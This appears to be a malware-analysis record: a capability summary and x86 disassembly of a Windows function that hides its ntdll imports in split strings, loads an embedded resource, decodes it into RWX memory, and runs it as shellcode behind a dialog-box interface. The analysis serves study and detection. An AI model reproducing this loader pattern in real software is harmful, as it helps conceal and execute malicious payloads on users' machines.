Function at 0x402760
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x18c
mov eax, dword [0x4140e0]
push ebx
xor ebx, ebx
push ebx
push str.C:WindowsMicrosoft.NET
mov dword [esp + 0x194], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40279d
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x188]
call fcn.00403136
add esp, 0x18c
ret 0x10
push ebp
push esi
push 6
mov esi, 0xf
push str.LdrFin
lea ecx, [esp + 0x148]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x24], 0xa
mov dword [esp + 0x28], 0x1e55
mov dword [esp + 0x2c], 0x411
mov dword [esp + 0x160], esi
mov dword [esp + 0x15c], ebx
mov byte [esp + 0x14c], bl
call fcn.004022d0
push 5
push str.dReso
lea ecx, [esp + 0x68]
mov dword [esp + 0x80], esi
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
call fcn.004022d0
push 6
push str.urce_U
lea ecx, [esp + 0xa0]
mov dword [esp + 0xb8], esi
mov dword [esp + 0xb4], ebx
mov byte [esp + 0xa4], bl
call fcn.004022d0
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0x148]
push edx
lea eax, [esp + 0x34]
push eax
call fcn.004026c0
add esp, 0xc
push eax
lea ecx, [esp + 0x164]
push ecx
call fcn.004026c0
mov eax, dword [esp + 0x4c]
mov ebp, 0x10
add esp, 0xc
cmp eax, ebp
jb 0x402880
mov edx, dword [esp + 0x2c]
push edx
call fcn.00403144
add esp, 4
push 3
push 0x410288
lea ecx, [esp + 0xf4]
mov dword [esp + 0x10c], esi
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
call fcn.004022d0
push 5
push str.Acces
lea ecx, [esp + 0x110]
mov dword [esp + 0x128], esi
mov dword [esp + 0x124], ebx
mov byte [esp + 0x114], bl
call fcn.004022d0
push 9
push str.sResource
lea ecx, [esp + 0x4c]
mov dword [esp + 0x64], esi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
call fcn.004022d0
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x10c]
push ecx
lea edx, [esp + 0xf4]
push edx
lea eax, [esp + 0x34]
push eax
call fcn.004026c0
add esp, 0xc
push eax
lea ecx, [esp + 0x180]
push ecx
call fcn.004026c0
mov eax, dword [esp + 0x4c]
add esp, 0xc
cmp eax, ebp
jb 0x402934
mov edx, dword [esp + 0x2c]
push edx
call fcn.00403144
add esp, 4
push edi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 7
push str.LdrAcce
lea ecx, [esp + 0x88]
mov edi, eax
mov dword [esp + 0xa0], esi
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
call fcn.004022d0
push 6
push str.ssReso
lea ecx, [esp + 0xc0]
mov dword [esp + 0xd8], esi
mov dword [esp + 0xd4], ebx
mov byte [esp + 0xc4], bl
call fcn.004022d0
push 4
push str.urce
lea ecx, [esp + 0xdc]
mov dword [esp + 0xf4], esi
mov dword [esp + 0xf0], ebx
mov byte [esp + 0xe0], bl
call fcn.004022d0
lea eax, [esp + 0xd4]
push eax
lea ecx, [esp + 0xbc]
push ecx
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0x38]
push eax
call fcn.004026c0
add esp, 0xc
push eax
lea ecx, [esp + 0x130]
push ecx
call fcn.004026c0
mov eax, dword [esp + 0x50]
add esp, 0xc
cmp eax, ebp
jb 0x402a05
mov edx, dword [esp + 0x30]
push edx
call fcn.00403144
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push edi
call esi
mov dword [0x415004], eax
cmp dword [esp + 0x140], ebp
mov eax, dword [esp + 0x12c]
jae 0x402a2f
lea eax, [esp + 0x12c]
push eax
push edi
call esi
mov dword [0x415000], eax
lea eax, [esp + 0x1c]
push eax
push 3
lea ecx, [esp + 0x28]
push ecx
push 0x400000
call dword [0x415004]
test eax, eax
jl 0x402a6d
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
push 0x400000
call dword [0x415000]
mov edx, dword [esp + 0x10]
push 0x40
push 0x1000
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov ebp, eax
mov eax, ecx
shr ecx, 2
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push 0x65
push str.uIw__u_DUZ_oe9H8i3PCZm6mDxGowpQXlA1XwV_mjY3fT__Oivg6_pGgU_U6hGh__r_ro4H5Bpm_Aw_Ws_bu_gdP2aJe
call fcn.00401500
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x20]
push edx
push eax
push ebp
call fcn.004023c0
add esp, 0x18
call ebp
mov esi, dword [esp + 0x1a0]
push ebx
push 0x401590
push ebx
push 0x82
push esi
mov dword [0x4150e4], esi
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push ebx
push ebx
push ebx
push 0x4150e8
mov esi, eax
call edi
test eax, eax
je 0x402b47
mov ebp, dword [sym.imp.USER32.dll_TranslateAcceleratorA]
jmp 0x402b10
mov ecx, dword [0x4150e8]
push 0x4150e8
push esi
push ecx
call ebp
test eax, eax
jne 0x402b39
push 0x4150e8
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x4150e8
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push 0x4150e8
call edi
test eax, eax
jne 0x402b10
mov eax, dword [esp + 0x140]
mov ebp, dword [0x4150f0]
mov esi, 0x10
cmp eax, esi
jb 0x402b6d
mov edx, dword [esp + 0x12c]
push edx
call fcn.00403144
add esp, 4
cmp dword [esp + 0xec], esi
mov edi, 0xf
mov dword [esp + 0x140], edi
mov dword [esp + 0x13c], ebx
mov byte [esp + 0x12c], bl
jb 0x402ba0
mov eax, dword [esp + 0xd8]
push eax
call fcn.00403144
add esp, 4
cmp dword [esp + 0xd0], esi
mov dword [esp + 0xec], edi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
jb 0x402bce
mov ecx, dword [esp + 0xbc]
push ecx
call fcn.00403144
add esp, 4
cmp dword [esp + 0x98], esi
mov dword [esp + 0xd0], edi
mov dword [esp + 0xcc], ebx
mov byte [esp + 0xbc], bl
jb 0x402bfc
mov edx, dword [esp + 0x84]
push edx
call fcn.00403144
add esp, 4
cmp dword [esp + 0x194], esi
mov dword [esp + 0x98], edi
mov dword [esp + 0x94], ebx
mov byte [esp + 0x84], bl
jb 0x402c2a
mov eax, dword [esp + 0x180]
push eax
call fcn.00403144
add esp, 4
cmp dword [esp + 0x60], esi
mov dword [esp + 0x194], edi
mov dword [esp + 0x190], ebx
mov byte [esp + 0x180], bl
jb 0x402c52
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00403144
add esp, 4
cmp dword [esp + 0x124], esi
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
jb 0x402c77
mov edx, dword [esp + 0x110]
push edx
call fcn.00403144
add esp, 4
cmp dword [esp + 0x108], esi
mov dword [esp + 0x124], edi
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
jb 0x402ca5
mov eax, dword [esp + 0xf4]
push eax
call fcn.00403144
add esp, 4
cmp dword [esp + 0x178], esi
mov dword [esp + 0x108], edi
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
jb 0x402cd3
mov ecx, dword [esp + 0x164]
push ecx
call fcn.00403144
add esp, 4
cmp dword [esp + 0xb4], esi
mov dword [esp + 0x178], edi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
jb 0x402d01
mov edx, dword [esp + 0xa0]
push edx
call fcn.00403144
add esp, 4
cmp dword [esp + 0x7c], esi
mov dword [esp + 0xb4], edi
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
jb 0x402d29
mov eax, dword [esp + 0x68]
push eax
call fcn.00403144
add esp, 4
cmp dword [esp + 0x15c], esi
mov dword [esp + 0x7c], edi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
pop edi
jb 0x402d4f
mov ecx, dword [esp + 0x144]
push ecx
call fcn.00403144
add esp, 4
mov ecx, dword [esp + 0x194]
pop esi
mov eax, ebp
pop ebp
pop ebx
call fcn.00403136
add esp, 0x18c
ret 0x10